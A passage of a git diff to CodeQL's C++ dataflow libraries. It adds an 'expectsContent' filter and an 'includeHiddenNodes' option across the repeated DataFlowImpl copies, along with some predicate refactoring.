+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowPrivate.qll
index 0a44ec3336b..9ad3e835c38 100644
--- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowPrivate.qll
+++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowPrivate.qll
@@ -198,6 +198,12 @@ predicate clearsContent(Node n, Content c) {
   none() // stub implementation
 }
 
+/**
+ * Holds if the value that is being tracked is expected to be stored inside content `c`
+ * at node `n`.
+ */
+predicate expectsContent(Node n, ContentSet c) { none() }
+
 /** Gets the type of `n` used for type pruning. */
 Type getNodeType(Node n) {
   suppressUnusedNode(n) and
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
